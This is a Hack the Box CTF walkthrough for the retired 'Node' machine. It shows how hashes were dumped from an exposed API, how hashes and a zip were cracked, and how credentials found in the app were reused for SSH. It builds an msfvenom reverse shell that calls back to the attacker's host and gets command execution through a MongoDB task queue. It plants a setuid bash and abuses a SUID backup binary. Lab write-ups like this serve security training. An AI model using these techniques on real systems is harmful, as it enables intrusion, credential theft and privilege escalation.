Hack the Box – Node Walkthrough

Today we’re going to solve another CTF machine “Node“. It is now retired box and can be accessible if you’re a VIP member.

Specifications

  • Target OS: Linux
  • IP Address: 10.10.10.58
  • Difficulty: Hard

Contents

  • Getting user
  • Getting root

Reconnaissance

As always, the first step consists of reconnaissance phase as port scanning.

Ports Scanning

During this step we’re gonna identify the target to see what we have behind the IP Address.

nmap -sS -sU -T4 -A -v 10.10.10.58

22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 dc:5e:34:a6:25:db:43:ec:eb:40:f4:96:7b:8e:d1:da (RSA) | 256 6c:8e:5e:5f:4f:d5:41:7d:18:95:d1:dc:2e:3f:e5:9c (ECDSA) |_ 256 d8:78:b8:5d:85:ff:ad:7b:e6:e2:b5:da:1e:52:62:36 (EdDSA) 3000/tcp open http Node.js Express framework | hadoop-datanode-info: |_ Logs: /login |hadoop-jobtracker-info: | hadoop-tasktracker-info: | Logs: /login |_hbase-master-info: |_http-title: MyPlace

Nmap revels Node.js framework running on port 3000.

Enumeration

Let’s browse the URL http://10.10.10.58/login and we see a login page. which requires username and password.

If you take a look at source code of the page you’ll see several JavaScript files at the bottom of the page.

Let’s take a look at these files.

assets/js/app/app.js assets/js/app/controllers/home.js assets/js/app/controllers/login.js assets/js/app/controllers/admin.js assets/js/app/controllers/profile.js assets/js/misc/freelancer.min.js

There’s an interesting JavaScript file which contains important information for us. http://10.10.10.58:3000/assets/js/app/controllers/profile.js and it revels a path “/api/users“.

[{"_id":“59a7365b98aa325cc03ee51c”,“username”:“myP14ceAdm1nAcc0uNT”,“password”:“dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af”,“is_admin”:true}, {"_id":“59a7368398aa325cc03ee51d”,“username”:“tom”,“password”:“f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240”,“is_admin”:false}, {"_id":“59a7368e98aa325cc03ee51e”,“username”:“mark”,“password”:“de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73”,“is_admin”:false}, {"_id":“59aa9781cced6f1d1490fce9”,“username”:“rastating”,“password”:“5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0”,“is_admin”:false}]

Let’s identify the hash first.

Now, we know it’s SHA-256 let’s crack it.

Online Cracking

myP14ceAdm1nAcc0uNT:manchester

Offline Cracking

john --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-sha256 hash.txt

Let’s intercept the response and download our backup file which we found through JavaScript paths.

wget --header “Cookie: connect.sid=s%3Abe46867TkllBcgUuZdRYskr8sSapEi7C.TzcXp0kDLhoAQVjqCS7NY0zQv%2F4fLwMUBcgrN7YIm2M” http://10.10.10.58:3000/api/admin/backup

Look’s like we found a file which is encoded into Base64 let’s decode it.

cat backup | base64 -d > backup.zip

The zip file asking for the password let’s crack it using fcrackzip or zipcracker-ng.

fcrackzip -uDp /usr/share/wordlists/rockyou.txt backup.zip PASSWORD FOUND!!!: pw == magicword zipcracker-ng -f backup.zip -w /usr/share/dict/rockyou.txt

Let’s explore decompressed files from backup.zip and we found credentials inside app.js file.

head -n12 app.js const express = require(‘express’); const session = require(‘express-session’); const bodyParser = require(‘body-parser’); const crypto = require(‘crypto’); const MongoClient = require(‘mongodb’).MongoClient; const ObjectID = require(‘mongodb’).ObjectID; const path = require(“path”); const spawn = require(‘child_process’).spawn; const app = express(); const url = ‘mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace?authMechanism=DEFAULT&authSource=myplace’; const backup_key = ‘45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474’;

There are sometimes possibilities that admin can re-use the passwords, so we have another port open which is SSH let’s try our luck.

mark:5AYRft73VtFpc84k

Privilege Escalation

As part of the standard enumeration phase, it’s worth checking all running processes. If we take a look user tom is running our myplace application as well another application called scheduler.

tom 1230 0.0 6.1 1009080 46264 ? Ssl Apr04 0:10 /usr/bin/node /var/scheduler/app.js tom 1235 0.0 9.3 1041916 70932 ? Ssl Apr04 0:10 /usr/bin/node /var/www/myplace/app.js

OR

mark@node:~$ top -u tom PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 1230 tom 20 0 1009804 33260 8604 S 0.0 4.4 0:25.76 /usr/bin/node /var/scheduler/app.js 1235 tom 20 0 1041916 53920 8236 S 0.0 7.1 0:22.39 /usr/bin/node /var/www/myplace/app.js

Let’s keep this aside for now and let’s enumerate more. let’s search for odd SUID files.

find / -user root -perm -4000 -print 2>/dev/null /usr/lib/eject/dmcrypt-get-device /usr/lib/snapd/snap-confine /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic /usr/lib/openssh/ssh-keysign /usr/lib/policykit-1/polkit-agent-helper-1 /usr/local/bin/backup /usr/bin/chfn /usr/bin/gpasswd /usr/bin/newgidmap /usr/bin/chsh /usr/bin/sudo /usr/bin/pkexec /usr/bin/newgrp /usr/bin/passwd /usr/bin/newuidmap /bin/ping /bin/umount /bin/fusermount /bin/ping6 /bin/ntfs-3g /bin/su /bin/mount

OR

mark@node:~$ find / -perm -4000 -ls 2>/dev/null 259267 12 -rwsr-xr-x 1 root root 10232 Mar 27 2017 /usr/lib/eject/dmcrypt-get-device 297906 80 -rwsr-xr-x 1 root root 81672 Jul 17 2017 /usr/lib/snapd/snap-confine 278211 44 -rwsr-xr-- 1 root messagebus 42992 Jan 12 2017 /usr/lib/dbus-1.0/dbus-daemon-launch-helper 278959 40 -rwsr-xr-x 1 root root 38984 Jun 14 2017 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic 17884 420 -rwsr-xr-x 1 root root 428240 Mar 16 2017 /usr/lib/openssh/ssh-keysign 282088 16 -rwsr-xr-x 1 root root 14864 Jan 17 2016 /usr/lib/policykit-1/polkit-agent-helper-1 303364 20 -rwsr-xr-- 1 root admin 16484 Sep 3 2017 /usr/local/bin/backup 258944 52 -rwsr-xr-x 1 root root 49584 May 17 2017 /usr/bin/chfn 281144 52 -rwsr-sr-x 1 daemon daemon 51464 Jan 14 2016 /usr/bin/at 259007 76 -rwsr-xr-x 1 root root 75304 May 17 2017 /usr/bin/gpasswd 279006 36 -rwsr-xr-x 1 root root 32944 May 17 2017 /usr/bin/newgidmap 258946 40 -rwsr-xr-x 1 root root 40432 May 17 2017 /usr/bin/chsh 259166 136 -rwsr-xr-x 1 root root 136808 Jul 4 2017 /usr/bin/sudo 282096 24 -rwsr-xr-x 1 root root 23376 Jan 17 2016 /usr/bin/pkexec 259071 40 -rwsr-xr-x 1 root root 39904 May 17 2017 /usr/bin/newgrp 259082 56 -rwsr-xr-x 1 root root 54256 May 17 2017 /usr/bin/passwd 279005 36 -rwsr-xr-x 1 root root 32944 May 17 2017 /usr/bin/newuidmap 258636 44 -rwsr-xr-x 1 root root 44168 May 7 2014 /bin/ping 258671 28 -rwsr-xr-x 1 root root 27608 Jun 14 2017 /bin/umount 278644 32 -rwsr-xr-x 1 root root 30800 Jul 12 2016 /bin/fusermount 258637 44 -rwsr-xr-x 1 root root 44680 May 7 2014 /bin/ping6 278666 140 -rwsr-xr-x 1 root root 142032 Jan 28 2017 /bin/ntfs-3g 258653 40 -rwsr-xr-x 1 root root 40128 May 17 2017 /bin/su 258622 40 -rwsr-xr-x 1 root root 40152 Jun 14 2017 /bin/mount

We have an odd file named backup and owned by root and assigned to group admin.

ls -al /usr/local/bin/backup -rwsr-xr-- 1 root admin 16484 Sep 3 2017 /usr/local/bin/backup

If we check another user tom it is also a member of group admin.

mark@node:~$ id tom uid=1000(tom) gid=1000(tom) groups=1000(tom),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),115(lpadmin),116(sambashare),1002(admin)

So, to access that file we need to be user tom or group admin. Our previous finding shows we have a process running under tom.

Let’s take a look at /var/scheduler/app.js

mark@node:/var/scheduler$ cat app.js const exec = require(‘child_process’).exec; const MongoClient = require(‘mongodb’).MongoClient; const ObjectID = require(‘mongodb’).ObjectID; const url = ‘mongodb://mark:5AYRft73VtFpc84k@localhost:27017/scheduler?authMechanism=DEFAULT&authSource=scheduler’; MongoClient.connect(url, function(error, db) { if (error || !db) { console.log(’[!] Failed to connect to mongodb’); return; } setInterval(function () { db.collection(‘tasks’).find().toArray(function (error, docs) { if (!error && docs) { docs.forEach(function (doc) { if (doc) { console.log('Executing task ’ + doc._id + ‘…’); exec(doc.cmd); db.collection(‘tasks’).deleteOne({ _id: new ObjectID(doc._id) }); } }); } else if (error) { console.log('Something went wrong: ’ + error); } }); }, 30000); });

Now, let’s access mongodb database, and we can execute any task placed within the tasks table. Let’s create reverse shell using msfvenom and execute it.

msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.14.5 LPORT=1337 -f elf -o shell.elf

Let’s transfer our shell to remote ssh.

scp shell.elf mark@10.10.10.58:/tmp/shell.elf

Now let’s login to mongodb and execute commands and start the listener.

mark@node:/tmp$ chmod +x shell.elf mark@node:/tmp$ mongo -u mark -p 5AYRft73VtFpc84k localhost:27017/scheduler MongoDB shell version: 3.2.16 connecting to: localhost:27017/scheduler > use scheduler switched to db scheduler > show collections tasks > db.tasks.insertOne({cmd:’/tmp/shell.elf’}) { “acknowledged” : true, “insertedId” : ObjectId(“5ca7a680c5686fccdf4bdb44”) }

Or we can do this without spawning a reverse shell.

mark@node:/tmp$ mongo scheduler -u mark -p MongoDB shell version: 3.2.16 Enter password: connecting to: scheduler > db.tasks.insert({“cmd” : “cd /tmp;cp /bin/bash . ;chown tom:admin -R ./;chmod 6755 ./”}) WriteResult({ “nInserted” : 1 }) > ^C bye mark@node:/tmp$ file bash bash: setuid, setgid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=04eca96c5bf3e9a300952a29ef3218f00487d37b, stripped mark@node:/tmp$ bash -p mark@node:/tmp$ ./bash -p bash-4.3$ id uid=1001(mark) gid=1001(mark) euid=1000(tom) egid=1002(admin) groups=1002(admin),1001(mark) bash-4.3$

Now we can access SUID backup file which we found.

/usr/local/bin/backup a b c

We know it’s an executable file but let’s check some strings first.

strings /usr/local/bin/backup

UEsDBDMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAcm9vdC50eHQBmQcAAgBBRQEIAEbBKBl0rFrayqfbwJ2YyHunnYq1Za6G7XLo8C3RH/hu0fArpSvYauq4AUycRmLuWvPyJk3sF+Hm NMciNHfFNLD3LdkGmgwSW8j50xlO6SWiH5qU1Edz340bxpSlvaKvE4hnK/oan4wWPabhw/2rwaaJSXucU+pLgZorY67Q/Y6cfA2hLWJabgeobKjMy0njgC9c8cQDaVrfE/ZiS1S+rPgz /e2Pc3lgkQ+lAVBqjo4zmpQltgIXauCdhvlA1Pe/BXhPQBJab7NVF6Xm3207EfD3utbrcuUuQyF+rQhDCKsAEhqQ+Yyp1Tq2o6BvWJlhtWdts7rCubeoZPDBD6Mejp3XYkbSYYbzmgr1 poNqnzT5XPiXnPwVqH1fG8OSO56xAvxx2mU2EP+Yhgo4OAghyW1sgV8FxenV8p5c+u9bTBTz/7WlQDI0HUsFAOHnWBTYR4HTvyi8OPZXKmwsPAG1hrlcrNDqPrpsmxxmVR8xSRbBDLSr H14pXYKPY/a4AZKO/GtVMULlrpbpIFqZ98zwmROFstmPl/cITNYWBlLtJ5AmsyCxBybfLxHdJKHMsK6Rp4MO+wXrd/EZNxM8lnW6XNOVgnFHMBsxJkqsYIWlO0MMyU9L1CL2RRwm2Qvb dD8PLWA/jp1fuYUdWxvQWt7NjmXo7crC1dA0BDPg5pVNxTrOc6lADp7xvGK/kP4F0eR+53a4dSL0b6xFnbL7WwRpcF+Ate/Ut22WlFrg9A8gqBC8Ub1SnBU2b93ElbG9SFzno5TFmzXk 3onbLaaEVZl9AKPA3sGEXZvVP+jueADQsokjJQwnzg1BRGFmqWbR6hxPagTVXBbQ+hytQdd26PCuhmRUyNjEIBFx/XqkSOfAhLI9+Oe4FH3hYqb1W6xfZcLhpBs4Vwh7t2WGrEnUm2/F +X/OD+s9xeYniyUrBTEaOWKEv2NOUZudU6X2VOTX6QbHJryLdSU9XLHB+nEGeq+sdtifdUGeFLct+Ee2pgR/AsSexKmzW09cx865KuxKnR3yoC6roUBb30Ijm5vQuzg/RM71P5ldpCK7 0RemYniiNeluBfHwQLOxkDn/8MN0CEBr1eFzkCNdblNBVA7b9m7GjoEhQXOpOpSGrXwbiHHm5C7Zn4kZtEy729ZOo71OVuT9i+4vCiWQLHrdxYkqiC7lmfCjMh9e05WEy1EBmPaFkYgx K2c6xWErsEv38++8xdqAcdEGXJBR2RT1TlxG/YlB4B7SwUem4xG6zJYi452F1klhkxloV6paNLWrcLwokdPJeCIrUbn+C9TesqoaaXASnictzNXUKzT905OFOcJwt7FbxyXk0z3FxD/t gtUHcFBLAQI/AzMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAAAAAAAAAIIC0gQAAAAByb290LnR4dAGZBwACAEFFAQgAUEsFBgAAAAABAAEAQQAAAB4EAAAAAA== /root /etc /tmp/.backup_%i /usr/bin/zip -r -P magicword %s %s > /dev/null /usr/bin/base64 -w0 %s

This is what we found Base64 and few commands.

echo -n “UEsDBDMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAcm9vdC50eHQBmQcAAgBBRQEIAEbBKBl0rFrayqfbwJ2YyHunnYq1Za6G7XLo8C3RH/hu0fArpSvYauq4AUycRmLuWvPyJk3sF+Hm NMciNHfFNLD3LdkGmgwSW8j50xlO6SWiH5qU1Edz340bxpSlvaKvE4hnK/oan4wWPabhw/2rwaaJSXucU+pLgZorY67Q/Y6cfA2hLWJabgeobKjMy0njgC9c8cQDaVrfE/ZiS1S+rPgz /e2Pc3lgkQ+lAVBqjo4zmpQltgIXauCdhvlA1Pe/BXhPQBJab7NVF6Xm3207EfD3utbrcuUuQyF+rQhDCKsAEhqQ+Yyp1Tq2o6BvWJlhtWdts7rCubeoZPDBD6Mejp3XYkbSYYbzmgr1 poNqnzT5XPiXnPwVqH1fG8OSO56xAvxx2mU2EP+Yhgo4OAghyW1sgV8FxenV8p5c+u9bTBTz/7WlQDI0HUsFAOHnWBTYR4HTvyi8OPZXKmwsPAG1hrlcrNDqPrpsmxxmVR8xSRbBDLSr H14pXYKPY/a4AZKO/GtVMULlrpbpIFqZ98zwmROFstmPl/cITNYWBlLtJ5AmsyCxBybfLxHdJKHMsK6Rp4MO+wXrd/EZNxM8lnW6XNOVgnFHMBsxJkqsYIWlO0MMyU9L1CL2RRwm2Qvb dD8PLWA/jp1fuYUdWxvQWt7NjmXo7crC1dA0BDPg5pVNxTrOc6lADp7xvGK/kP4F0eR+53a4dSL0b6xFnbL7WwRpcF+Ate/Ut22WlFrg9A8gqBC8Ub1SnBU2b93ElbG9SFzno5TFmzXk 3onbLaaEVZl9AKPA3sGEXZvVP+jueADQsokjJQwnzg1BRGFmqWbR6hxPagTVXBbQ+hytQdd26PCuhmRUyNjEIBFx/XqkSOfAhLI9+Oe4FH3hYqb1W6xfZcLhpBs4Vwh7t2WGrEnUm2/F +X/OD+s9xeYniyUrBTEaOWKEv2NOUZudU6X2VOTX6QbHJryLdSU9XLHB+nEGeq+sdtifdUGeFLct+Ee2pgR/AsSexKmzW09cx865KuxKnR3yoC6roUBb30Ijm5vQuzg/RM71P5ldpCK7 0RemYniiNeluBfHwQLOxkDn/8MN0CEBr1eFzkCNdblNBVA7b9m7GjoEhQXOpOpSGrXwbiHHm5C7Zn4kZtEy729ZOo71OVuT9i+4vCiWQLHrdxYkqiC7lmfCjMh9e05WEy1EBmPaFkYgx K2c6xWErsEv38++8xdqAcdEGXJBR2RT1TlxG/YlB4B7SwUem4xG6zJYi452F1klhkxloV6paNLWrcLwokdPJeCIrUbn+C9TesqoaaXASnictzNXUKzT905OFOcJwt7FbxyXk0z3FxD/t gtUHcFBLAQI/AzMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAAAAAAAAAIIC0gQAAAAByb290LnR4dAGZBwACAEFFAQgAUEsFBgAAAAABAAEAQQAAAB4EAAAAAA==” | base64 -d > backup.bin file backup.bin backup.bin: Zip archive data, at least v5.1 to extract

Let’s extract that zip file.

7z e backup.zip

Password can be find in strings: magicword

This extracted root.txt file and contains troll.

If we analyze app.js file and it contains a syntax using backup file.

(’/usr/local/bin/backup’, [’-q’, backup_key, __dirname ])

Let’s locate backup_key

grep -Ri backup_key var/ | sort -u | less var/www/myplace/app.js:const backup_key = ‘45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474’;

bash-4.3$ /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /root/root.txt

We created a link between /root/root.txt → /dev/shm/master/root.txt

bash-4.3$ mkdir /tmp/master bash-4.3$ ln -s /root/root.txt /tmp/master bash-4.3$ ls -1 /tmp/master root.txt bash-4.3$ /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /dev/shm/master/

And we got root.